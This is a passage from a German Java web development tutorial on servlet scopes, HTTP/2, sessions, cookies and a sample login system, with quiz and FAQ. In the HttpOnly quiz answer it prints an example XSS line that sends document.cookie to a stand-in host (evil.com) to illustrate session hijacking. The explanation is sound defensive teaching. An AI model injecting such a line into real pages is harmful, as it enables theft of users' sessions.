        String maintenanceMode = request.getParameter("maintenance");
        
        // Application-Scope (ServletContext)
        ServletContext context = getServletContext();
        context.setAttribute("maintenanceMode", maintenanceMode);
        
        // Jetzt können ALLE Servlets darauf zugreifen!
        
        response.getWriter().println("Config updated");
    }
}

In einer anderen Servlet:

@WebServlet("/products")
public class ProductServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) {
        
        // Application-Scope lesen
        ServletContext context = getServletContext();
        String maintenanceMode = (String) context.getAttribute("maintenanceMode");
        
        if ("true".equals(maintenanceMode)) {
            response.getWriter().println("System under maintenance");
            return;
        }
        
        // Normal verarbeiten
        // ...
    }
}

Wichtig:

Application-Scope ist SHARED für alle User! Änderungen betreffen ALLE.


Scope-Priorität

Was passiert, wenn das gleiche Attribut in mehreren Scopes existiert?

// Application-Scope
servletContext.setAttribute("message", "Hello from Application");

// Session-Scope
session.setAttribute("message", "Hello from Session");

// Request-Scope
request.setAttribute("message", "Hello from Request");

In JSP:

${message}  <!-- Welches wird angezeigt? -->

Priorität (von höchster zu niedrigster):

  1. Page Scope (nur in JSP)
  2. Request Scope ← Höchste Priorität
  3. Session Scope
  4. Application Scope ← Niedrigste Priorität

Also: ${message} zeigt „Hello from Request“


🔵 BONUS: HTTP/2 und HTTP/3

Was ist neu in HTTP/2?

HTTP/2 (2015) bringt Performance-Verbesserungen:

1. Multiplexing

HTTP/1.1:

Browser öffnet 6 Connections zu Server
Request 1 → Response 1
Request 2 → Response 2
...

HTTP/2:

Browser öffnet 1 Connection
Request 1, 2, 3, 4, 5, 6 gleichzeitig → Responses parallel

2. Server Push

Server kann Ressourcen schicken, BEVOR Browser sie anfragt:

Browser: GET /index.html
Server:  Hier ist index.html
         UND hier ist style.css (wirst du eh brauchen!)
         UND hier ist script.js

3. Header Compression

HTTP/1.1 Headers wiederholen sich:

GET /page1 HTTP/1.1
User-Agent: Mozilla/5.0...  <-- 200 Bytes
Cookie: ...                 <-- 500 Bytes

GET /page2 HTTP/1.1
User-Agent: Mozilla/5.0...  <-- WIEDER 200 Bytes
Cookie: ...                 <-- WIEDER 500 Bytes

HTTP/2 komprimiert und cached Headers!


HTTP/3 (QUIC)

HTTP/3 (2022) läuft über QUIC (UDP statt TCP):

Vorteil: Schnellerer Verbindungsaufbau, besser bei Packet Loss

Für dich als Entwickler: Kein Unterschied! Die API bleibt gleich.


💬 Real Talk: Debugging-Session am Nachmittag

Java Fleet Büro, 15:30 Uhr. Tom Fischer sitzt frustriert vor seinem Bildschirm, Cassian kommt mit einem Kaffee vorbei, Nova hört zu.


Tom (seufzt): „Okay, ich verstehe nicht, warum mein Login nicht funktioniert. Der User gibt Username und Passwort ein, ich prüfe es, es ist korrekt – aber beim nächsten Request ist der User ‚vergessen‘.“

Cassian: „Zeig mal… Ah. Du speicherst den User wo?“

Tom: „In einer Variable im Servlet. private String currentUser;

Cassian (schmunzelt): „Da ist dein Problem. HTTP ist zustandslos. Jeder Request kommt in einem neuen Thread. Du brauchst eine Session.“

Nova: „Wait, ich dachte Servlets sind Singletons? Dann müsste die Variable doch funktionieren?“

Cassian: „Ja, Servlets sind Singletons. Aber genau DAS ist das Problem! Wenn 10 User gleichzeitig einloggen, überschreiben sie sich gegenseitig in der gleichen Variable.“

Tom: „Oh… Thread-Safety. Das hatte ich vergessen.“

Nova: „Also Sessions sind die Lösung? Wie funktioniert das technisch?“

Cassian: „Server erstellt eine eindeutige Session-ID, schickt sie als Cookie an den Browser. Browser sendet den Cookie bei jedem Request mit. Server erkennt: ‚Ah, das ist User XY!'“

Tom: „Und das macht der Webcontainer automatisch?“

Cassian: „Exakt. Du rufst nur request.getSession() auf und hängst Daten mit session.setAttribute() am Session-Scope. Der Container kümmert sich um den Rest – erstellt Session-ID, sendet Cookie, findet Session bei jedem Request.“

Nova: „Aber Cookies können doch manipuliert werden? Ist das sicher?“

Cassian: „Die Session-ID im Cookie ist nur ein Pointer auf Server-Daten. Der User sieht nur eine zufällige ID wie A7B3C9D.... Die echten Daten (Username, Warenkorb, etc.) liegen server-seitig.“

Tom (erleichtert): „Okay, macht Sinn. Ich ändere das auf Sessions. Real talk: Hätte ich vorher das HTTP-Protokoll besser verstanden, wäre mir das nicht passiert.“

Cassian: „Genau deshalb lernen wir die Basics. Ohne Verständnis für Zustandslosigkeit stolperst du bei jedem Web-Framework.“

Nova: „Lowkey bin ich froh, dass wir das so detailliert durchgehen.“


✅ Checkpoint: Hast du es verstanden?

Bevor du weitermachst, teste dich selbst:

Quiz:

Frage 1: Wann verwendest du GET und wann POST?

Frage 2: Was ist der Unterschied zwischen 301 und 302 Redirects?

Frage 3: Wie funktionieren Sessions in Java? Erkläre den kompletten Ablauf.

Frage 4: Was ist der Unterschied zwischen Request-Scope und Session-Scope?

Frage 5: Warum sollten Session-Cookies HttpOnly sein?

Mini-Challenge:

Aufgabe: Implementiere ein einfaches Login-System mit Sessions.

Requirements:

  1. Login-Formular auf /login (GET)
  2. Login-Verarbeitung auf /login (POST)
  3. Geschütztes Dashboard auf /dashboard
  4. Logout auf /logout

Hinweise:

  • Verwende request.getSession() nach erfolgreichem Login
  • Hänge User am Session-Scope mit session.setAttribute("user", email)
  • Bei /dashboard: Prüfe ob User am Session-Scope existiert (sonst Redirect zu Login)
  • Bei /logout: Verwende session.invalidate()

Lösung:
Die Lösung zu dieser Challenge findest du am Anfang von Tag 3 als Kurzwiederholung! 🚀

Alternativ kannst du die Musterlösung im GitHub-Projekt checken: [Link folgt]


Geschafft? 🎉
Dann bist du bereit für die FAQ-Sektion!

LoginServlet.java:

package com.javafleet.auth;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        String error = request.getParameter("error");
        
        out.println("<!DOCTYPE html>");
        out.println("<html>");
        out.println("<head><title>Login</title></head>");
        out.println("<body>");
        out.println("<h1>Login</h1>");
        
        if ("true".equals(error)) {
            out.println("<p style='color:red'>Invalid credentials!</p>");
        }
        
        out.println("<form method='post' action='/HelloPayara/login'>");
        out.println("  <input type='email' name='email' placeholder='Email' required><br>");
        out.println("  <input type='password' name='password' placeholder='Password' required><br>");
        out.println("  <button type='submit'>Login</button>");
        out.println("</form>");
        out.println("</body>");
        out.println("</html>");
    }
    
    @Override
    protected void doPost(HttpServletRequest request, 
                         HttpServletResponse response) 
                         throws ServletException, IOException {
        
        String email = request.getParameter("email");
        String password = request.getParameter("password");
        
        // Einfache Validierung (in Produktion: Datenbank + gehashtes Passwort!)
        if ("anna@example.com".equals(email) && "password123".equals(password)) {
            // Login erfolgreich → Session erstellen
            HttpSession session = request.getSession();
            session.setAttribute("user", email);
            session.setAttribute("loginTime", System.currentTimeMillis());
            
            // Redirect zu Dashboard
            response.sendRedirect("/HelloPayara/dashboard");
        } else {
            // Login fehlgeschlagen → zurück zu Login
            response.sendRedirect("/HelloPayara/login?error=true");
        }
    }
}

DashboardServlet.java:

package com.javafleet.auth;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Date;

@WebServlet("/dashboard")
public class DashboardServlet extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest request, 
                        HttpServletResponse response) 
                        throws ServletException, IOException {
        
        // Session holen (OHNE neue zu erstellen!)
        HttpSession session = request.getSession(false);
        
        // Prüfen ob eingeloggt
        if (session == null || session.getAttribute("user") == null) {
            // Nicht eingeloggt → Redirect zu Login
            response.sendRedirect("/HelloPayara/login");
            return;
        }
        
        // User ist eingeloggt → Dashboard anzeigen
        String user = (String) session.getAttribute("user");
        Long loginTime = (Long) session.getAttribute("loginTime");
        
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        out.println("<!DOCTYPE html>");
        out.println("<html>");
        out.println("<head><title>Dashboard</title></head>");
        out.println("<body>");
        out.println("<h1>Welcome to your Dashboard!</h1>");
        out.println("<p>Logged in as: <strong>" + user + "</strong></p>");
        out.println("<p>Login time: " + new Date(loginTime) + "</p>");
        out.println("<p>Session ID: " + session.getId() + "</p>");
        out.println("<form method='post' action='/HelloPayara/logout'>");
        out.println("  <button type='submit'>Logout</button>");
        out.println("</form>");
        out.println("</body>");
        out.println("</html>");
    }
}

LogoutServlet.java:

package com.javafleet.auth;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;

@WebServlet("/logout")
public class LogoutServlet extends HttpServlet {
    
    @Override
    protected void doPost(HttpServletRequest request, 
                         HttpServletResponse response) 
                         throws ServletException, IOException {
        
        HttpSession session = request.getSession(false);
        
        if (session != null) {
            // Session zerstören
            session.invalidate();
        }
        
        // Redirect zu Login mit Nachricht
        response.sendRedirect("/HelloPayara/login?message=logged-out");
    }
}

Testen:

  1. Starte Payara Server
  2. Öffne http://localhost:8080/HelloPayara/login
  3. Login mit anna@example.com / password123
  4. Du siehst das Dashboard
  5. Logout → zurück zu Login
  6. Versuche http://localhost:8080/HelloPayara/dashboard direkt → Redirect zu Login

</details>

Geschafft? 🎉
Dann bist du bereit für die FAQ-Sektion!


❓ Häufig gestellte Fragen

Frage 1: Muss ich wirklich alle HTTP-Status-Codes kennen?

Nein! Die wichtigsten reichen:

  • 2xx (Success): 200 OK, 201 Created, 204 No Content
  • 3xx (Redirect): 301 Permanent, 302 Temporary, 304 Not Modified
  • 4xx (Client Error): 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
  • 5xx (Server Error): 500 Internal Server Error, 503 Service Unavailable

Die restlichen lernst du bei Bedarf. In 99% der Fälle brauchst du nur diese.

Frage 2: Sessions vs. JWT – was ist besser?

Das kommt auf den Use-Case an:

Sessions (Server-Side):

  • ✅ Einfach zu invalidieren (Logout sofort wirksam)
  • ✅ Weniger Overhead pro Request
  • ❌ Schwierig bei Multi-Server-Setup (braucht Sticky Sessions oder Shared Storage)

JWT (Client-Side):

  • ✅ Stateless – kein Server-Speicher nötig
  • ✅ Gut für Microservices / APIs
  • ❌ Kann nicht invalidiert werden (bis Token abläuft)
  • ❌ Größer (im Header bei jedem Request)

Faustregel:

  • Klassische Webseite mit Login → Sessions
  • REST API für Mobile/SPA → JWT

Frage 3: Wie lange sollte eine Session gültig sein?

Standard in Jakarta EE: 30 Minuten Inaktivität

// In web.xml oder programmatisch:
session.setMaxInactiveInterval(1800); // 30 Minuten in Sekunden

Empfehlungen:

  • Banking-Apps: 5-15 Minuten
  • E-Commerce: 30-60 Minuten
  • Social Media: 24 Stunden
  • Admin-Panels: 15-30 Minuten

Frage 4: Was passiert mit Sessions bei Server-Neustart?

Standard: Sessions gehen verloren! User müssen sich neu einloggen.

Lösungen:

  • Session Persistence: Payara kann Sessions in Datenbank speichern
  • Sticky Sessions: Load Balancer schickt User immer zum gleichen Server
  • Distributed Sessions: Redis/Hazelcast als Session-Store

Frage 5: Kann ich mehrere Cookies gleichzeitig setzen?

Ja! Einfach mehrfach response.addCookie() aufrufen:

Cookie sessionCookie = new Cookie("JSESSIONID", sessionId);
response.addCookie(sessionCookie);

Cookie prefCookie = new Cookie("language", "de");
response.addCookie(prefCookie);

Cookie themeCookie = new Cookie("theme", "dark");
response.addCookie(themeCookie);

Frage 6: Was ist der Unterschied zwischen getSession() und getSession(false)?

// getSession() - erstellt Session, falls keine existiert
HttpSession session = request.getSession(); 
// → Gibt IMMER eine Session zurück (niemals null)

// getSession(false) - erstellt KEINE neue Session
HttpSession session = request.getSession(false);
// → Gibt null zurück, wenn keine Session existiert

Verwendung:

  • Bei Login/Checkout: getSession() (erstelle Session)
  • Bei geschützten Pages: getSession(false) (prüfe ob Session da ist)

Frage 7: Nova meinte, Sessions wären „old school“ und JWT wäre der einzige moderne Weg. Stimmt das?

Lowkey nein. Sessions sind nicht „old school“ – sie sind battle-tested und für viele Use-Cases die bessere Wahl.

Real talk: JWT ist trendy, aber nicht automatisch besser. Die Tech-Szene überhypt gerne neue Patterns. Hier die Facts:

Sessions sind besser wenn:

  • Du klassische Server-Side-Rendering machst (JSP, Thymeleaf, etc.)
  • Du sofortige Logout-Funktionalität brauchst
  • Du sensible User-Daten hast (Banking, Healthcare)
  • Du eh nur einen Server oder Sticky Sessions hast

JWT ist besser wenn:

  • Du eine Microservice-Architektur hast
  • Du REST APIs für Mobile Apps/SPAs baust
  • Du Cross-Domain-Auth brauchst
  • Du 100% stateless sein willst

Bernd sagt dazu: „JWT ist wie Kubernetes – jeder redet drüber, die wenigsten brauchen’s wirklich. Sessions funktionieren seit 20 Jahren. Use the right tool for the job.“

Honestly: Für diesen Kurs (und die meisten Enterprise-Apps) sind Sessions die richtige Wahl. JWT kommt später im Advanced-Kurs.


📚 Quiz-Lösungen

Hier sind die Antworten zum Quiz von oben:


Frage 1: Wann verwendest du GET und wann POST?

Antwort:

GET verwenden für:

  • Daten abrufen (Read-Operationen)
  • Idempotente Operationen (mehrfaches Ausführen = gleiches Ergebnis)
  • Bookmarkable URLs (Suchresultate, Produktseiten)
  • Suchfunktionen
  • Filter und Sortierungen
  • Navigation

POST verwenden für:

  • Daten senden / erstellen (Create/Update-Operationen)
  • Login-Formulare (sensible Daten!)
  • Nicht-idempotente Operationen (z.B. Bestellung abschicken)
  • Große Datenmengen
  • Datei-Uploads
  • Alles was den Server-Zustand ändert

Faustregel:

  • Ändert es was auf dem Server? → POST (oder PUT/DELETE)
  • Nur lesen/anzeigen? → GET
  • Sensible Daten (Passwörter)? → POST

Beispiele:

✅ GET  /products?category=electronics&sort=price
✅ GET  /users/123
✅ POST /login
✅ POST /orders
❌ GET  /login?username=anna&password=123  // FALSCH! Passwort in URL!

Frage 2: Was ist der Unterschied zwischen 301 und 302 Redirects?

Antwort:

301 Moved Permanently:

  • Permanente Weiterleitung
  • Browser und Suchmaschinen cachen die Weiterleitung
  • Suchmaschinen updaten ihre Links
  • Verwendung: URL hat sich dauerhaft geändert

302 Found (Temporary Redirect):

  • Temporäre Weiterleitung
  • Browser cacht NICHT
  • Suchmaschinen behalten die alte URL
  • Verwendung: Post-Redirect-Get Pattern, temporäre Weiterleitungen

Code-Beispiele:

// 301 - Permanent
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
response.setHeader("Location", "/new-url");

// 302 - Temporary (Standard bei sendRedirect)
response.sendRedirect("/dashboard"); // Macht automatisch 302

Wann was verwenden:

  • Alte URL existiert nicht mehr → 301
  • Domain-Umzug → 301
  • Post-Redirect-Get nach Form-Submit → 302
  • Temporäre Wartungsseite → 302

Frage 3: Wie funktionieren Sessions in Java? Erkläre den kompletten Ablauf.

Antwort:

Der komplette Session-Flow:

  1. User macht ersten Request (z.B. Login-Seite aufrufen)
  2. Server erstellt Session: HttpSession session = request.getSession(); String sessionId = session.getId(); // "ABC123DEF456..."
  3. Server sendet Session-ID als Cookie: HTTP/1.1 200 OK Set-Cookie: JSESSIONID=ABC123DEF456; Path=/; HttpOnly; Secure
  4. Browser speichert Cookie automatisch
  5. Bei jedem weiteren Request sendet Browser Cookie MIT: GET /dashboard HTTP/1.1 Cookie: JSESSIONID=ABC123DEF456
  6. Server findet Session anhand ID: HttpSession session = request.getSession(false); if (session != null) { String user = (String) session.getAttribute("user"); // User ist eingeloggt! }
  7. Session-Daten bleiben erhalten über mehrere Requests
  8. Session endet bei:
    • Logout: session.invalidate()
    • Timeout (Standard: 30 Minuten Inaktivität)
    • Server-Neustart (ohne Persistence)

Wichtig: Der Webcontainer (Payara) macht das Cookie-Handling automatisch! Du musst nur getSession() und setAttribute() verwenden.


Frage 4: Was ist der Unterschied zwischen Request-Scope und Session-Scope?

Antwort:

Request-Scope:

  • Lebensdauer: Ein einzelner HTTP-Request
  • Verwendung: Daten von Servlet zu JSP weitergeben
  • API: request.setAttribute() / request.getAttribute()
  • Nach Response: Daten sind WEG
  • Beispiel: Fehlermeldung, Formular-Validierung

Session-Scope:

  • Lebensdauer: Gesamte User-Session (bis Logout/Timeout)
  • Verwendung: User-spezifische Daten über mehrere Requests
  • API: session.setAttribute() / session.getAttribute()
  • Über mehrere Requests: Daten bleiben ERHALTEN
  • Beispiel: User-Login, Warenkorb, Sprachauswahl

Code-Beispiel:

// Request-Scope - nur für DIESEN Request
request.setAttribute("message", "Erfolgreich gespeichert!");
// → JSP kann "message" auslesen
// → Nach Response ist "message" WEG

// Session-Scope - für ALLE Requests dieser Session
HttpSession session = request.getSession();
session.setAttribute("user", "anna@example.com");
// → Bleibt über mehrere Requests erhalten
// → Bis Logout oder Timeout

Wann was verwenden:

  • One-Time-Daten (Fehlermeldungen) → Request-Scope
  • User-Daten (Login, Preferences) → Session-Scope

Frage 5: Warum sollten Session-Cookies HttpOnly sein?

Antwort:

Ohne HttpOnly (UNSICHER):

// JavaScript kann Cookie lesen!
console.log(document.cookie); // "JSESSIONID=ABC123DEF456"

// Angreifer kann per XSS (Cross-Site Scripting) Session-Cookie stehlen:
// Malicious Script injected via XSS:
fetch('http://evil.com/steal?cookie=' + document.cookie);
// → Angreifer hat jetzt deine Session-ID
// → Kann sich als DU ausgeben (Session Hijacking)

Mit HttpOnly (SICHER):

Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setHttpOnly(true);  // ← JavaScript kann Cookie NICHT mehr lesen!
response.addCookie(cookie);

document.cookie gibt Session-Cookie NICHT zurück
Schutz gegen XSS-Angriffe

Zusätzliche Sicherheits-Flags:

cookie.setSecure(true);                    // Nur über HTTPS senden
cookie.setAttribute("SameSite", "Strict"); // CSRF-Schutz

Security Best Practices für Cookies:

  1. HttpOnly=true – XSS-Schutz
  2. Secure=true – Nur über HTTPS
  3. SameSite=Strict – CSRF-Schutz
  4. ✅ Kurze Timeouts für sensible Daten

Real-World-Impact: Ohne HttpOnly kann ein einziger XSS-Bug (z.B. in einem Forum-Post) alle User-Sessions stehlen. Mit HttpOnly ist der Schaden begrenzt.


🎉 Tag 2 geschafft!

Du rockst! 🚀

Real talk: Das war ein dichter Tag. HTTP-Methoden, Status-Codes, Headers, Sessions, Cookies… das ist viel auf einmal!

Das hast du heute gelernt:

  • ✅ Alle wichtigen HTTP-Methoden (GET, POST, PUT, DELETE, etc.)
  • ✅ HTTP-Status-Codes und wann du welche verwendest
  • ✅ HTTP-Headers verstehen und setzen
  • ✅ Warum HTTP zustandslos ist und wie das problematisch ist
  • ✅ Wie Sessions funktionieren (mit Cookies)
  • ✅ Session-API in Java verwenden
  • ✅ Request-Scope vs. Session-Scope vs. Application-Scope
  • ✅ Cookie-Security (HttpOnly, Secure, SameSite)

Du kannst jetzt:

  • Die richtige HTTP-Methode für jede Situation wählen
  • HTTP-Status-Codes korrekt setzen
  • Sessions für User-Authentication verwenden
  • Cookies sicher setzen
  • Verstehen, warum HTTP zustandslos ist

Honestly? Das ist RIESIG! Du verstehst jetzt die Mechanik hinter JEDEM Web-Framework (Spring Boot, Jakarta EE, etc.). Alles baut auf diesen Konzepten auf.


Wie geht’s weiter?

Morgen (Tag 3): Servlets & Servlet API
Was dich erwartet:

  • Servlet-Lifecycle im Detail (init, service, destroy)
  • URL-Mapping (@WebServlet vs. web.xml)
  • ServletConfig und ServletContext
  • RequestDispatcher (Forward vs. Redirect) – das wird dein Game-Changer für MVC! 🔥
  • Filter implementieren (für Auth, Logging, etc.)
  • Praktische Servlet-Patterns

Brauchst du eine Pause?
Mach sie! HTTP ist komplex. Lass das Wissen sacken, bevor du weitermachst.

Tipp für heute Abend:
Spiel mit Sessions! Erweitere das Login-System:

  • Mehrere User in einer HashMap speichern
  • „Remember Me“ Funktion mit Cookies implementieren
  • Session-Timeout testen (setze auf 1 Minute)
  • Browser Developer Tools: Network-Tab → schau dir die Cookies an!

Learning by doing! 🔧


Feedback?

War dieser Tag zu technisch? Zu viel? Zu schnell?

Schreib uns: Elyndra.Valen@java-developer.online

Dein Feedback hilft uns, den Kurs besser zu machen!


Bis morgen! 👋

Elyndra

elyndra.valen@java-developer.online
Senior Developer bei Java Fleet Systems Consulting


Java Web Basic – Tag 2 von 10
Teil der Java Fleet Learning-Serie
© 2025 Java Fleet Systems Consulting

Autor

  • Elyndra Valen

    28 Jahre alt, wurde kürzlich zur Senior Entwicklerin befördert nach 4 Jahren intensiver Java-Entwicklung. Elyndra kennt die wichtigsten Frameworks und Patterns, beginnt aber gerade erst, die tieferen Zusammenhänge und Architektur-Entscheidungen zu verstehen. Sie ist die Brücke zwischen Junior- und Senior-Welt im Team.